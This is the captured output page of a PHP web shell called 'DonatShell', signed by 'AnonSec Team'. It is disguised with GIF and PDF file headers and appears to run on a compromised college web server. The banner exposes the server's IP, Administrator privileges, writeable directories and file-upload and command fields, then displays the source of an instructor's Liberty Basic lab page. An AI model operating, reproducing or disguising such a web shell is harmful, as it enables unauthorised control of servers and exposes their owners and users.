GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/Lab01.php
<?
// CST1794/Lab01.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = "1";
$assignmentType = "Lesson";
$assignmentTitle = "Creating Database Tables";
//$evaluationNumber = "";
$evaluationType = "Lab";
//$evaluationTitle = "";
if (!isset($evaluationTitle) || $evaluationTitle == "") { $evaluationTitle = $assignmentTitle; }
if (!isset($evaluationNumber) || $evaluationNumber == "") { $evaluationNumber = $assignmentNumber; }
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; }
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ': '.$evaluationTitle;
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;

$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<fieldset><legend>Personalized Instruction</legend><span class="normal">
<ol start="1">
  <li>Create a <b><?=$evaluationName?></b> folder inside of your <b>CST1794</b> folder and keep all files created, modified, or used in this lab there (CST1794/<?=$evaluationName?>)</li>
	<li>Write a program called <b><?=$evaluationName?>.bas</b> to perform the following:</li>
<pre class="code">'<b> StudentNameGoesHere</b>
' Lab01
' This lab will demonstrate how numeric variables and expressions as well as input, output, and control statements are used.

' 1. Input two numbers from the user with appropriate output to identify what is wanted from the user.

' 2. Display the two numbers with appropriate output to identify them.

' 3. Display the following four values with appropriate output to identify them.
'    a. The result of the sum of the two numbers.
'    b. The result of number1 minus number2.
'    c. The result of multiplying the two numbers.
'    d. The result of dividing number1 by number2.
'       The program must perform error checking and should not allow or perform a division by 0.
'       The program should instead display an appropriate error message for division by 0.
</pre>
NOTE: The program instructions above are written as <a href="dn/lb403win.exe">Liberty Basic v4.03 (lb403win.exe)</a> comments and may be copied directly into your program.
	</li>
	<li>The first program line must be a comment with your name. If you copied the comments above into your program then replace <b>StudentNameGoesHere</b> with your name.
	<li>The second program line must be a comment to identify the program as <b>Lab01</b>. If you copied the comments above into your program then this is already done.
	<li>	
		Submit the Lab for evaluation.
	<ol type="1">
		<li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li>
		<li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li>
		<li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li>
	</ol>
</li>
</ol>
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team